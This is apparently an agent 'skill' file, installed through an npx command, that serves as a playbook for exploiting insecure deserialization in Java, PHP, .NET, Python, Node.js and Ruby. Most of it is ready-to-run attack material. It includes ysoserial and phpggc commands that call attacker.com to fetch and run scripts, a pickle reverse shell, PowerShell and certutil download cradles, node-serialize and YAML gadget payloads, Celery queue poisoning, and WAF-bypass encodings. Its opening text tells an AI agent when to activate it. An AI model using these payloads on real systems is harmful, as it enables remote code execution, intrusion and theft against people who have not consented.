Loading...
Loading...
Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding layers and content-type manipulation, and serialVersionUID/JMX/RMI vectors. Activate when the engagement involves deserialization sinks, serialized data in cookies or request bodies, gadget chain development, magic method abuse, ysoserial payload generation, or any review of marshalling and unmarshalling logic in target applications.
npx skill4agent add snailsploit/claude-red offensive-deserialization| Format | Signature | Notes |
|---|---|---|
| Java ObjectInputStream | Hex | Cookies, POST bodies, JMX/RMI streams |
| PHP serialize | | Frequently Base64-wrapped in cookies |
| .NET BinaryFormatter | Base64 | ViewState, remoting, session state |
| Python pickle | Opcodes | Redis caches, Celery tasks, ML pipelines |
| Ruby Marshal | | Session cookies in older Rails apps |
| YAML (any lang) | | Tag-based instantiation |
| Java XMLDecoder | | Legacy Java admin panels |
| .NET Json.NET | | TypeNameHandling != None |
| Java Jackson | | enableDefaultTyping / polymorphic handling |
ObjectInputStream.readObject()// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }
// JMX/RMI endpoints -- default port 1099, often unauthenticatedserialVersionUIDInvalidClassException# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin
# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin
# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET
# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
"http://attacker.com:8080/#ExploitClass" 1099enableDefaultTyping()@JsonTypeInfo(use = Id.CLASS)["com.sun.rowset.JdbcRowSetImpl",
{"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]org.apache.ibatis.datasource.jndi.JndiDataSourceFactorycom.caucho.config.types.ResourceRefunserialize()__wakeup__destruct__toStringphar://unserialize()// Direct unserialize
$obj = unserialize($userInput);
// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_filephpggc -l # List all available chains
# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized
# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b
# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpgunserialize()// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();
// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));phar://uploads/exploit.jpg/test.txtBinaryFormatter// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common
// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);
// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All // or Objects, Arrays, Auto
});# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "powershell -enc BASE64CMD" \
--validationalg="SHA1" \
--validationkey="KNOWN_KEY" \
--generator="GENERATOR_VALUE" \
--path="/target/page.aspx" \
--islegacyTypeNameHandlingNone$type{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}pickle__reduce__import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Reverse shell variant
class ReverseShell:
def __reduce__(self):
return (os.system, (
'python3 -c \'import socket,subprocess,os;'
's=socket.socket();s.connect(("attacker.com",4444));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))
# Chained multi-step payload
class ChainedExploit:
def __reduce__(self):
return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))yaml.load()# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"
# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]# Find unsafe yaml.load in codebase
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebaseimport shelve # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal # Code object injection via marshal.loads()
import jsonpickle # Third-party, same risks as pickle via jsonpickle.decode()node-serialize_$$ND_FUNC$$_()// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}
// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}_$$ND_FUNC$$___js_functionMarshal.loadYAML.load# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
# ERB template execution chain
require 'erb'
class Exploit
def initialize
@template = "<%= `id` %>"
end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "curl http://attacker.com/callback"
method_id: :resolvesecret_key_baseAdmissionReviewapiVersion: v1
kind: Pod
metadata:
name: test-pod
annotations:
config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
containers:
- name: test
image: nginximport redis, pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
'body': pickle.dumps(Exploit()),
'content-type': 'application/x-python-serialize',
}))def handler(event, context):
obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
Key=event['Records'][0]['s3']['object']['key'])
data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucket# Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt
# Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt
# URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"
# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
# Parameter splitting -- some apps concatenate params before deserializingPOST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object
[binary payload]<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>curl http://attacker.com/callback</string>
</void>
</object>
</java>ac ed 00 05rO0ABAAEAAAD/////O:\d+:"$type_$$ND_FUNC$$_!!python/objectObjectInputFilterSerializationBinderallowed_classesunserialize()ClassNotFoundExceptionClassCastExceptionObjectInputStreamreadObjectreadResolve| Scenario | Tool | Payload | Verification |
|---|---|---|---|
| Java, Commons Collections 3.x | ysoserial | | URLDNS first |
| Java, unknown classpath | ysoserial | | DNS callback |
| PHP Laravel 5.x-9.x | phpggc | | DNS or sleep |
| PHP file upload + file op | phpggc | | phar:// trigger |
| .NET BinaryFormatter | ysoserial.net | | Process or DNS |
| .NET ViewState, known key | ysoserial.net | | Blind exec |
| .NET Json.NET TypeNameHandling | ysoserial.net | | File write or OOB |
| Python pickle in web app | Manual | | Curl callback |
| Python Celery/Redis | Manual | Pickle into task queue | All consumers exec |
| Python yaml.load | Manual | | OOB callback |
| Node.js node-serialize | Manual | | Reverse shell |
| Ruby Marshal in Rails cookie | Manual | Gem::Requirement + secret_key_base | Session forge + RCE |
| K8s admission webhook | ysoserial/manual | Payload in pod annotation | Webhook callback |